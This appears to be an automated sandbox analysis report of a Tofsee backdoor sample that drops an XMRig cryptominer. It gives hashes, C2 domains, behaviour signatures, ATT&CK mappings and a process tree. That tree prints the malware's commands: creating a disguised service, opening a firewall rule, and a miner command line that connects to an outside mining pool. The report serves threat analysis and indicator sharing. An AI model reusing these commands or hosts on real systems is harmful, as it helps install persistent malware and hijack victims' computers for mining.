Analysis

  • max time kernel
    145s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    14-06-2022 09:38

General

  • Target

    457e2384c210dfaef9e48241fbe4848158f720f5aa4a3851690e803cb38c4400.exe

  • Size

    250KB

  • MD5

    af6dc08ead3ee52a4c269b77be730451

  • SHA1

    a88ed76d33fcf89cf4575174d7f5633ce6b836fc

  • SHA256

    457e2384c210dfaef9e48241fbe4848158f720f5aa4a3851690e803cb38c4400

  • SHA512

    38abe7d46b53259cac1c21d7fd1d338a7d1e73be743f7c2c9914aa73b329777c010cb212a51bbff6967ec53ec2e3b941fd7f98aaf1ea8713729cdf5a8b324172

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\457e2384c210dfaef9e48241fbe4848158f720f5aa4a3851690e803cb38c4400.exe
    "C:\Users\Admin\AppData\Local\Temp\457e2384c210dfaef9e48241fbe4848158f720f5aa4a3851690e803cb38c4400.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4780
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bgxhgfgv\
      2⤵
        PID:4396
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\aqbfrzfo.exe" C:\Windows\SysWOW64\bgxhgfgv\
        2⤵
          PID:4948
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create bgxhgfgv binPath= "C:\Windows\SysWOW64\bgxhgfgv\aqbfrzfo.exe /d\"C:\Users\Admin\AppData\Local\Temp\457e2384c210dfaef9e48241fbe4848158f720f5aa4a3851690e803cb38c4400.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1048
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description bgxhgfgv "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3484
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start bgxhgfgv
          2⤵
          • Launches sc.exe
          PID:4252
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4304
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4780 -s 1272
          2⤵
          • Program crash
          PID:3616
      • C:\Windows\SysWOW64\bgxhgfgv\aqbfrzfo.exe
        C:\Windows\SysWOW64\bgxhgfgv\aqbfrzfo.exe /d"C:\Users\Admin\AppData\Local\Temp\457e2384c210dfaef9e48241fbe4848158f720f5aa4a3851690e803cb38c4400.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:900
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3844
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3884
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 900 -s 528
          2⤵
          • Program crash
          PID:3340
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4780 -ip 4780
        1⤵
          PID:3532
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 900 -ip 900
          1⤵
            PID:224

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\aqbfrzfo.exe
            Filesize

            13.6MB

            MD5

            316004b553c1f7facd27e359355e1e5f

            SHA1

            2da810f7d178f458b714f99f0fe9c24352f2a18a

            SHA256

            142cdb40c66c7db436fe5bb0a9612403ed7a5eaac61267b8dfc13a3b5be3f564

            SHA512

            5249a391356719062045a736afc9c486a7b5a9198d24f6610749d5025619a1d2128c1bc8c0cee4881a90e218d3b7c06ab345cfb8d36efdef70068ac9a1cdaba2

          • C:\Windows\SysWOW64\bgxhgfgv\aqbfrzfo.exe
            Filesize

            13.6MB

            MD5

            316004b553c1f7facd27e359355e1e5f

            SHA1

            2da810f7d178f458b714f99f0fe9c24352f2a18a

            SHA256

            142cdb40c66c7db436fe5bb0a9612403ed7a5eaac61267b8dfc13a3b5be3f564

            SHA512

            5249a391356719062045a736afc9c486a7b5a9198d24f6610749d5025619a1d2128c1bc8c0cee4881a90e218d3b7c06ab345cfb8d36efdef70068ac9a1cdaba2

          • memory/900-148-0x0000000000400000-0x0000000000B31000-memory.dmp
            Filesize

            7.2MB

          • memory/900-147-0x0000000000C6E000-0x0000000000C7E000-memory.dmp
            Filesize

            64KB

          • memory/1048-136-0x0000000000000000-mapping.dmp
          • memory/3484-137-0x0000000000000000-mapping.dmp
          • memory/3844-157-0x0000000001780000-0x0000000001790000-memory.dmp
            Filesize

            64KB

          • memory/3844-149-0x0000000000400000-0x0000000000415000-memory.dmp
            Filesize

            84KB

          • memory/3844-166-0x00000000027D0000-0x00000000027D7000-memory.dmp
            Filesize

            28KB

          • memory/3844-163-0x0000000007400000-0x000000000780B000-memory.dmp
            Filesize

            4.0MB

          • memory/3844-160-0x00000000017D0000-0x00000000017D5000-memory.dmp
            Filesize

            20KB

          • memory/3844-141-0x0000000000000000-mapping.dmp
          • memory/3844-142-0x0000000000400000-0x0000000000415000-memory.dmp
            Filesize

            84KB

          • memory/3844-154-0x0000000001770000-0x0000000001776000-memory.dmp
            Filesize

            24KB

          • memory/3844-151-0x0000000002400000-0x000000000260F000-memory.dmp
            Filesize

            2.1MB

          • memory/3844-150-0x0000000000400000-0x0000000000415000-memory.dmp
            Filesize

            84KB

          • memory/3884-170-0x0000000000520000-0x0000000000611000-memory.dmp
            Filesize

            964KB

          • memory/3884-169-0x0000000000000000-mapping.dmp
          • memory/3884-175-0x0000000000520000-0x0000000000611000-memory.dmp
            Filesize

            964KB

          • memory/4252-138-0x0000000000000000-mapping.dmp
          • memory/4304-139-0x0000000000000000-mapping.dmp
          • memory/4396-133-0x0000000000000000-mapping.dmp
          • memory/4780-131-0x0000000000C10000-0x0000000000C23000-memory.dmp
            Filesize

            76KB

          • memory/4780-132-0x0000000000400000-0x0000000000B31000-memory.dmp
            Filesize

            7.2MB

          • memory/4780-146-0x0000000000400000-0x0000000000B31000-memory.dmp
            Filesize

            7.2MB

          • memory/4780-145-0x0000000000C82000-0x0000000000C93000-memory.dmp
            Filesize

            68KB

          • memory/4780-130-0x0000000000C82000-0x0000000000C93000-memory.dmp
            Filesize

            68KB

          • memory/4948-134-0x0000000000000000-mapping.dmp